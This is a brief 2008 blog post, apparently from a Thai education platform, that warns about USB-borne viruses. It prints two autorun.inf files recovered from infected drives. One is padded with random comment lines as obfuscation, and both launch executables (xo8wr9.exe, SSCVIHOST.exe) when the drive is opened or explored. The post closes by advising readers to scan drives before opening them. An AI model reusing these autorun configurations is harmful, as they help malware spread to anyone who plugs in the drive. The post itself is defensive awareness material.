PoC Script Autorun.inf for Virus in Thumb Drive


Use of study purpose ONLY !!!!

First of all we notice that all of the virus that come from USB are run scipt from the autorun.inf file that it'll show in you right-click menu but I found it by accident that not AlWAYS that we can see below that it'll not shown the "Autorun" in these file

File1:

;was0sAO
[AutoRun]
;liZc7kkoes7kd22k3D4Z0140fsoid2l47LiHKsLpXafw2Djr3larS5ed04sK503kUDd0Af7kDkK0FwkJ8ooJkLe1rwfrLl
open=xo8wr9.exe
;4dirwkkswijrSKkASFkKd4o2a2KJ54LAo3a5oD92Sppcd34osCwrA0dqfiJZs9L1oLaKw1D33rwLO7f4k3dsjw28offsls0ww4Ka
shell\open\Command=xo8wr9.exe
;r8k4ewsw35irr9S1iidak5oLaqw4k2D3Kf1jjdn1sUKioJlAKLioami
shell\open\Default=1
;LAKiLkkw7j2jIrSsDfFqa3ADLnq2reskSLiloawii5Kl3qaDk5w9L1m2dsklwla24edOw5rlf3w3k4fJj8i
shell\explore\Command=xo8wr9.exe
;aeDAp645K5kL71J5r7aZsc3Iksoj25ak3kaAokiw7wac2dwk1pKes5rJs2disajkLll

File 2:

[Autorun]
Open=SSCVIHOST.exe
Shellexe cute=SSCVIHOST.exe
Shell\Open\command=SSCVIHOST.exe
Shell=Open

 

So what should we do, Use the smart anti-virus or scan your Handy, Thumb, or whatever Drive before OPEN!!!!!

คำสำคัญ (Tags): #security#trojan#virus
หมายเลขบันทึก: 167019เขียนเมื่อ 24 กุมภาพันธ์ 2008 01:07 น. ()แก้ไขเมื่อ 11 กุมภาพันธ์ 2012 22:50 น. ()สัญญาอนุญาต: จำนวนที่อ่านจำนวนที่อ่าน:


ความเห็น (0)

ไม่มีความเห็น

พบปัญหาการใช้งานกรุณาแจ้ง LINE ID @gotoknow
ClassStart
ระบบจัดการการเรียนการสอนผ่านอินเทอร์เน็ต
ทั้งเว็บทั้งแอปใช้งานฟรี
ClassStart Books
โครงการหนังสือจากคลาสสตาร์ท